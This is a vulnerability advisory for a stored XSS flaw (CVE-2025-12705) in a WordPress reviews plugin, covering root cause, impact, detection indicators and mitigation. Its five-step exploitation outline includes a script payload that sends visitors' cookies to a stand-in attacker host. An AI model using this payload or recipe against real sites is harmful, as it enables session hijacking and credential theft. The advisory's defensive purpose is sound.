CVE-2025-12705: 
WordPress vulnerability analysis and mitigation

CVE-2025-12705 is a Stored Cross-Site Scripting (XSS) vulnerability in the Social Reviews & Recommendations (fb-reviews-widget) plugin for WordPress, affecting all versions up to and including 2.5. The flaw exists in the trim_text function due to insufficient input sanitization and output escaping across several parameters, enabling unauthenticated attackers to inject persistent malicious scripts into pages viewed by other users. The vulnerability was disclosed on December 9, 2025, with a partial patch released in version 2.5. It carries a CVSS v3.1 base score of 7.2 (High) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Specifically, multiple parameters passed to the trim_text function in includes/class-view.php (lines 447, 449, and 452) are neither properly sanitized on input nor escaped on output, allowing attacker-controlled data to be stored and later rendered as executable HTML/JavaScript in victim browsers (Wordfence, WordPress Trac). The attack vector is network-accessible, requires no authentication, no user interaction, and has low attack complexity, making it trivially exploitable. The partial patch in version 2.5 (changesets 3393291 and 3406362) did not fully remediate all affected parameters (WordPress Trac).

Successful exploitation allows unauthenticated attackers to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of all subsequent visitors. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, defacement, or delivery of drive-by malware to site visitors. The changed scope (S:C) in the CVSS vector indicates that the impact extends beyond the vulnerable component to affect end users' browsers, amplifying the risk to site visitors beyond the WordPress installation itself (Wordfence, Red Hat CVE).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.104%, indicating a low but non-negligible probability of exploitation in the near term. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the lack of authentication requirements and low attack complexity make it an attractive target for opportunistic attackers scanning WordPress installations (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Social Reviews & Recommendations (fb-reviews-widget) plugin version ≤2.5 using tools like WPScan, Shodan, or by checking /wp-content/plugins/fb-reviews-widget/ paths.
2. Identify vulnerable parameters: Review the trim_text function in includes/class-view.php (lines 447, 449, 452) to identify which input parameters are rendered unsanitized on the page.
3. Craft malicious payload: Prepare a stored XSS payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>, targeting one of the vulnerable parameters.
4. Submit payload: Submit the crafted input through the plugin's review/recommendation submission interface (no authentication required), causing the payload to be stored in the WordPress database.
5. Trigger execution: When any site visitor loads a page containing the injected review widget, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing unauthenticated POST requests to pages or endpoints handled by the fb-reviews-widget plugin containing HTML/JavaScript tags or encoded script payloads in parameter values.
• Database: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads (e.g., %3Cscript%3E) stored in WordPress database fields associated with the reviews widget.
• Network: Outbound connections from site visitors' browsers to unknown external domains shortly after loading pages with the reviews widget, potentially indicating active cookie or credential exfiltration.
• File System: No direct file system artifacts expected for stored XSS; however, monitor for unexpected changes to plugin files in /wp-content/plugins/fb-reviews-widget/ that could indicate secondary compromise.

Site administrators should update the Social Reviews & Recommendations plugin beyond version 2.5, as the patch in 2.5 was only partial and residual exposure remains. Monitor the WordPress plugin changelog for a fully remediated release. As an interim workaround, consider deactivating or removing the plugin until a complete fix is confirmed. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help block exploitation attempts against unpatched installations (Wordfence, WordPress Trac).

Wordfence, the assigning CNA, published the vulnerability in their weekly WordPress vulnerability report for December 8–14, 2025, noting the partial patch status (Wordfence Blog). RedPacketSecurity shared the CVE on social media platforms including Mastodon and Twitter/X, contributing to broader community awareness. No significant vendor statements beyond the Wordfence advisory or notable independent researcher commentary have been identified.